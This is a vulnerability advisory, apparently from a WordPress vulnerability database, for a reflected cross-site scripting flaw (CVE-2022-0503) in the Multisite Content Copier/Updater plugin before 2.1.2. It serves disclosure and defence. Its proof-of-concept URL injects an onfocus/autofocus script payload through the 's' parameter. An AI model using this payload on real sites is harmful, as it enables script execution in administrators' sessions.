WordPress Plugin Vulnerabilities

Multisite Content Copier/Updater < 2.1.2 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the s parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue in the network dashboard

Proof of Concept

https://example.com/wp-admin/network/admin.php?page=wordpress-multisite-content-copier&s=dxsqp"+onfocus%3Dalert(1)+autofocus%3D+p00d5qdcwad&wmcc_records[0]=1&wmcc_content_type=post&wmcc_source_blog=4&wmcc_record_per_page=10&wmcc_destination_blogs[0]=1&wmcc_destination_blogs[1]=2&wmcc_destination_blogs[2]=3&wmcc_destination_blogs[3]=5&copy_media=1&copy_terms=1&wmcc_submit=Copy%2FUpdate

Affects Plugins

Plugin icon
wp-multisite-content-copier-pro
Fixed in 2.1.2

References

CVE
CVE-2022-0503
URL
https://www.hackpertise.com/cve/29/

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Asif Nawaz Minhas
Verified
Yes
WPVDB ID
b6d38e23-3761-4447-a794-1e5077fd953a

Timeline

Publicly Published
2022-02-21 (about 2 years ago)
Added
2022-02-21 (about 2 years ago)
Last Updated
2023-04-12 (about 1 years ago)

Other

Published
Title
Published
2023-12-11
Title
Import and export users and customers < 1.24.4 - Contributor+ Stored XSS
Published
2024-01-09
Title
Email Encoder < 2.1.10 - Contributor+ Stored Cross-Site Scripting
Published
2023-03-31
Title
Enhanced WP Contact Form <= 2.3 - Admin+ Stored XSS
Published
2022-02-21
Title
Team Circle Image Slider With Lightbox < 1.0.16 - Reflected Cross-Site Scripting
Published
2015-04-29
Title
White Label CMS <= 1.5.2 - Stored XSS